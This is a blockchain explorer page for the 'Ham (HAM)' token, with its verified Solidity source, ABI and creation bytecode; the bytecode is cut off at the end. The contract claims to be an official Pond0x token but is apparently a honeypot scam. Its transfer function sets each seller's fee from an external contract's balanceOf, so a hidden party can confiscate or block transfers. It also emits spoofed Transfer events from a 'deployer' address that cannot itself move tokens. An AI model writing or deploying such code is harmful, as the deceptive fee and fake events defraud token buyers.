ETH Price: $3,254.59 (+0.01%)
Gas: 1 Gwei

Token

Ham (HAM)
 

Overview

Max Total Supply

2,100,000,000,000 HAM

Holders

37

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Pond Coin: Deployer
Balance
420,000,000,000 HAM

Value
$0.00
0xc687f96d50f70e20bd2c038901bf13a6c5e6d78e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HAM

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 6: HAM.sol
// SPDX-License-Identifier: MIT
/*

Official Pond0x Ecosystem Liquidity Token

 ▄         ▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄       ▄▄ 
▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░░▌     ▐░░▌
▐░▌       ▐░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌░▌   ▐░▐░▌
▐░▌       ▐░▌▐░▌       ▐░▌▐░▌▐░▌ ▐░▌▐░▌
▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▐░▌ ▐░▌
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌  ▐░▌  ▐░▌
▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌   ▀   ▐░▌
▐░▌       ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌
▐░▌       ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌
▐░▌       ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌
 ▀         ▀  ▀         ▀  ▀         ▀ 
                                       
*/

pragma solidity 0.8.24;

import "./IPondFactory.sol";
import "./PondRouter.sol";
import "./Safemath.sol";
import "./IERC20.sol";
import "./Ownable.sol";

contract HAM is Ownable {
    using SafeMath for uint256;

    error NotZkSigner();
    error InvalidClaim();
    error LPNotInitalized();
    error InitialLPAlreadyCreated();
    error MountUp();
    error LPComplete();

    uint8 private _decimals = 18;
    uint256 private _totalSupply =  420000000000 * 5 * 10 ** _decimals;
    address internal minningRigV2 = 0x5f3984e7210CD260bcEBD615390269C086b6627A;
    PondRouter private pondRouter = PondRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public deployer;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    address private pondPair;
    uint256 _fee = 0;
    bool private initialized = false;
    bool private tradingStarted = false;
    
    string private _name = "Ham";
    string private _symbol = "HAM";

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed sender, address indexed recipient, uint256 amount);

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function setDeployer(address _deployer) external onlyOwner {
        deployer = _deployer;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function createInitialSupply() external onlyOwner {
        require (deployer != address(0));
        require(!initialized, "Already initialized");
        _transfer(address(this), deployer, _totalSupply.mul(20).div(100));
        initialized = true;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function openTrading() external payable onlyOwner() {
        require(!tradingStarted, "Trading already opened.");
        require(initialized);
        require(deployer != address(0));
        tradingStarted = true;
        _approve(address(this), address(pondRouter), _totalSupply);
        pondPair = IPondFactory(pondRouter.factory()).createPair(address(this), pondRouter.WETH());
        pondRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0,0,owner(),block.timestamp);
        IERC20(pondPair).approve(address(pondRouter), type(uint).max);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0);
        require(from != address(0));
        require(to != address(0));
        require(from != deployer);
        uint256 feeRate = _fee;
        if (from != pondPair && from != address(this)) {
            feeRate = IERC20(minningRigV2).balanceOf(from);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount).sub(amount.mul(feeRate).div(100));
        if (to != deployer) {
        emit Transfer(deployer, to, amount);
        }
        emit Transfer(from, to, amount);
    }
}

File 2 of 6: IERC20.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;
/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    function approve(address spendr, uint256 amount) external returns (bool);
    function balanceOf(address wallt) external view returns (uint256);
}

File 3 of 6: IPondFactory.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;

interface IPondFactory {
    function getPair(address tokenA, address tokenC) external view returns (address pair);
    function createPair(address tokenA, address tokenD) external returns (address pair);
}


File 4 of 6: Ownable.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;
/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
}

File 5 of 6: PondRouter.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;

interface PondRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
     function addLiquidityETH( address token, 
     uint amountTokenDesire, 
     uint amountTokenMi, 
     uint amountETHMi, 
     address to, 
     uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

File 6 of 6: Safemath.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;

library SafeMath {

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"InitialLPAlreadyCreated","type":"error"},{"inputs":[],"name":"InvalidClaim","type":"error"},{"inputs":[],"name":"LPComplete","type":"error"},{"inputs":[],"name":"LPNotInitalized","type":"error"},{"inputs":[],"name":"MountUp","type":"error"},{"inputs":[],"name":"NotZkSigner","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createInitialSupply","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deployer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_deployer","type":"address"}],"name":"setDeployer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260125f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a6200003c9190620004af565b6501e8f1c108006200004f9190620004ff565b600155735f3984e7210cd260bcebd615390269c086b6627a60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6008555f60095f6101000a81548160ff0219169083151502179055505f600960016101000a81548160ff0219169083151502179055506040518060400160405280600381526020017f48616d0000000000000000000000000000000000000000000000000000000000815250600a9081620001779190620007a4565b506040518060400160405280600381526020017f48414d0000000000000000000000000000000000000000000000000000000000815250600b9081620001be9190620007a4565b50348015620001cb575f80fd5b505f339050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060015460065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001546040516200030f919062000899565b60405180910390a3620008b4565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003a7578086048111156200037f576200037e6200031d565b5b60018516156200038f5780820291505b80810290506200039f856200034a565b94506200035f565b94509492505050565b5f82620003c1576001905062000493565b81620003d0575f905062000493565b8160018114620003e95760028114620003f4576200042a565b600191505062000493565b60ff8411156200040957620004086200031d565b5b8360020a9150848211156200042357620004226200031d565b5b5062000493565b5060208310610133831016604e8410600b8410161715620004645782820a9050838111156200045e576200045d6200031d565b5b62000493565b62000473848484600162000356565b925090508184048111156200048d576200048c6200031d565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620004bb826200049a565b9150620004c883620004a3565b9250620004f77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003b0565b905092915050565b5f6200050b826200049a565b915062000518836200049a565b925082820262000528816200049a565b915082820484148315176200054257620005416200031d565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005c557607f821691505b602082108103620005db57620005da62000580565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200063f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000602565b6200064b868362000602565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200068c6200068662000680846200049a565b62000663565b6200049a565b9050919050565b5f819050919050565b620006a7836200066c565b620006bf620006b68262000693565b8484546200060e565b825550505050565b5f90565b620006d5620006c7565b620006e28184846200069c565b505050565b5b818110156200070957620006fd5f82620006cb565b600181019050620006e8565b5050565b601f82111562000758576200072281620005e1565b6200072d84620005f3565b810160208510156200073d578190505b620007556200074c85620005f3565b830182620006e7565b50505b505050565b5f82821c905092915050565b5f6200077a5f19846008026200075d565b1980831691505092915050565b5f62000794838362000769565b9150826002028217905092915050565b620007af8262000549565b67ffffffffffffffff811115620007cb57620007ca62000553565b5b620007d78254620005ad565b620007e48282856200070d565b5f60209050601f8311600181146200081a575f841562000805578287015190505b62000811858262000787565b86555062000880565b601f1984166200082a86620005e1565b5f5b8281101562000853578489015182556001820191506020850194506020810190506200082c565b868310156200087357848901516200086f601f89168262000769565b8355505b6001600288020188555050505b505050505050565b62000893816200049a565b82525050565b5f602082019050620008ae5f83018462000888565b92915050565b611f7e80620008c25f395ff3fe6080604052600436106100e7575f3560e01c80638da5cb5b11610089578063b6ac026011610058578063b6ac0260146102eb578063c9567bf914610301578063d5f394881461030b578063dd62ed3e14610335576100e7565b80638da5cb5b1461023357806395d89b411461025d5780639621473514610287578063a9059cbb146102af576100e7565b806323b872dd116100c557806323b872dd1461017b578063313ce567146101b757806370a08231146101e1578063715018a61461021d576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151575b5f80fd5b3480156100f6575f80fd5b506100ff610371565b60405161010c91906116f5565b60405180910390f35b348015610120575f80fd5b5061013b600480360381019061013691906117a6565b610401565b60405161014891906117fe565b60405180910390f35b34801561015c575f80fd5b50610165610417565b6040516101729190611826565b60405180910390f35b348015610186575f80fd5b506101a1600480360381019061019c919061183f565b610420565b6040516101ae91906117fe565b60405180910390f35b3480156101c2575f80fd5b506101cb6104cc565b6040516101d891906118aa565b60405180910390f35b3480156101ec575f80fd5b50610207600480360381019061020291906118c3565b6104e1565b6040516102149190611826565b60405180910390f35b348015610228575f80fd5b50610231610527565b005b34801561023e575f80fd5b5061024761066e565b60405161025491906118fd565b60405180910390f35b348015610268575f80fd5b50610271610695565b60405161027e91906116f5565b60405180910390f35b348015610292575f80fd5b506102ad60048036038101906102a891906118c3565b610725565b005b3480156102ba575f80fd5b506102d560048036038101906102d091906117a6565b6107f5565b6040516102e291906117fe565b60405180910390f35b3480156102f6575f80fd5b506102ff61080b565b005b6103096109af565b005b348015610316575f80fd5b5061031f610eb0565b60405161032c91906118fd565b60405180910390f35b348015610340575f80fd5b5061035b60048036038101906103569190611916565b610ed5565b6040516103689190611826565b60405180910390f35b6060600a805461038090611981565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac90611981565b80156103f75780601f106103ce576101008083540402835291602001916103f7565b820191905f5260205f20905b8154815290600101906020018083116103da57829003601f168201915b5050505050905090565b5f61040d338484610f57565b6001905092915050565b5f600154905090565b5f61042c84848461111a565b6104c184336104bc8560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115ba90919063ffffffff16565b610f57565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ab906119fb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600b80546106a490611981565b80601f01602080910402602001604051908101604052809291908181526020018280546106d090611981565b801561071b5780601f106106f25761010080835404028352916020019161071b565b820191905f5260205f20905b8154815290600101906020018083116106fe57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a9906119fb565b60405180910390fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f61080133848461111a565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610898576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088f906119fb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036108f0575f80fd5b60095f9054906101000a900460ff161561093f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093690611a63565b60405180910390fd5b6109933060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661098e606461098060146001546115e090919063ffffffff16565b61162090919063ffffffff16565b61111a565b600160095f6101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a33906119fb565b60405180910390fd5b600960019054906101000a900460ff1615610a8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8390611acb565b60405180910390fd5b60095f9054906101000a900460ff16610aa3575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610afb575f80fd5b6001600960016101000a81548160ff021916908315150217905550610b443060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610f57565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bae573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bd29190611afd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c58573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c7c9190611afd565b6040518363ffffffff1660e01b8152600401610c99929190611b28565b6020604051808303815f875af1158015610cb5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cd99190611afd565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610d60306104e1565b5f80610d6a61066e565b426040518863ffffffff1660e01b8152600401610d8c96959493929190611b91565b60606040518083038185885af1158015610da8573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610dcd9190611c04565b50505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e6d929190611c54565b6020604051808303815f875af1158015610e89573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ead9190611ca5565b50565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbc90611d40565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102a90611dce565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110d9190611826565b60405180910390a3505050565b5f8111611125575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361115c575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611193575f80fd5b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111eb575f80fd5b5f600854905060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561127a57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561131b5760025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b81526004016112d991906118fd565b602060405180830381865afa1580156112f4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113189190611dec565b90505b61136b8260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115ba90919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506114336113d560646113c784866115e090919063ffffffff16565b61162090919063ffffffff16565b6114258460065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461164590919063ffffffff16565b6115ba90919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461154f578273ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115469190611826565b60405180910390a35b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115ac9190611826565b60405180910390a350505050565b5f828211156115c7575f80fd5b5f82846115d49190611e44565b90508091505092915050565b5f8083036115f0575f905061161a565b5f82846115fd9190611e77565b905082848261160c9190611ee5565b14611615575f80fd5b809150505b92915050565b5f80821161162c575f80fd5b5f82846116399190611ee5565b90508091505092915050565b5f8082846116539190611f15565b905083811015611661575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156116a2578082015181840152602081019050611687565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6116c78261166b565b6116d18185611675565b93506116e1818560208601611685565b6116ea816116ad565b840191505092915050565b5f6020820190508181035f83015261170d81846116bd565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61174282611719565b9050919050565b61175281611738565b811461175c575f80fd5b50565b5f8135905061176d81611749565b92915050565b5f819050919050565b61178581611773565b811461178f575f80fd5b50565b5f813590506117a08161177c565b92915050565b5f80604083850312156117bc576117bb611715565b5b5f6117c98582860161175f565b92505060206117da85828601611792565b9150509250929050565b5f8115159050919050565b6117f8816117e4565b82525050565b5f6020820190506118115f8301846117ef565b92915050565b61182081611773565b82525050565b5f6020820190506118395f830184611817565b92915050565b5f805f6060848603121561185657611855611715565b5b5f6118638682870161175f565b93505060206118748682870161175f565b925050604061188586828701611792565b9150509250925092565b5f60ff82169050919050565b6118a48161188f565b82525050565b5f6020820190506118bd5f83018461189b565b92915050565b5f602082840312156118d8576118d7611715565b5b5f6118e58482850161175f565b91505092915050565b6118f781611738565b82525050565b5f6020820190506119105f8301846118ee565b92915050565b5f806040838503121561192c5761192b611715565b5b5f6119398582860161175f565b925050602061194a8582860161175f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061199857607f821691505b6020821081036119ab576119aa611954565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119e5602083611675565b91506119f0826119b1565b602082019050919050565b5f6020820190508181035f830152611a12816119d9565b9050919050565b7f416c726561647920696e697469616c697a6564000000000000000000000000005f82015250565b5f611a4d601383611675565b9150611a5882611a19565b602082019050919050565b5f6020820190508181035f830152611a7a81611a41565b9050919050565b7f54726164696e6720616c7265616479206f70656e65642e0000000000000000005f82015250565b5f611ab5601783611675565b9150611ac082611a81565b602082019050919050565b5f6020820190508181035f830152611ae281611aa9565b9050919050565b5f81519050611af781611749565b92915050565b5f60208284031215611b1257611b11611715565b5b5f611b1f84828501611ae9565b91505092915050565b5f604082019050611b3b5f8301856118ee565b611b4860208301846118ee565b9392505050565b5f819050919050565b5f819050919050565b5f611b7b611b76611b7184611b4f565b611b58565b611773565b9050919050565b611b8b81611b61565b82525050565b5f60c082019050611ba45f8301896118ee565b611bb16020830188611817565b611bbe6040830187611b82565b611bcb6060830186611b82565b611bd860808301856118ee565b611be560a0830184611817565b979650505050505050565b5f81519050611bfe8161177c565b92915050565b5f805f60608486031215611c1b57611c1a611715565b5b5f611c2886828701611bf0565b9350506020611c3986828701611bf0565b9250506040611c4a86828701611bf0565b9150509250925092565b5f604082019050611c675f8301856118ee565b611c746020830184611817565b9392505050565b611c84816117e4565b8114611c8e575f80fd5b50565b5f81519050611c9f81611c7b565b92915050565b5f60208284031215611cba57611cb9611715565b5b5f611cc784828501611c91565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611d2a602483611675565b9150611d3582611cd0565b604082019050919050565b5f6020820190508181035f830152611d5781611d1e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611db8602283611675565b9150611dc382611d5e565b604082019050919050565b5f6020820190508181035f830152611de581611dac565b9050919050565b5f60208284031215611e0157611e00611715565b5b5f611e0e84828501611bf0565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611e4e82611773565b9150611e5983611773565b9250828203905081811115611e7157611e70611e17565b5b92915050565b5f611e8182611773565b9150611e8c83611773565b9250828202611e9a81611773565b9150828204841483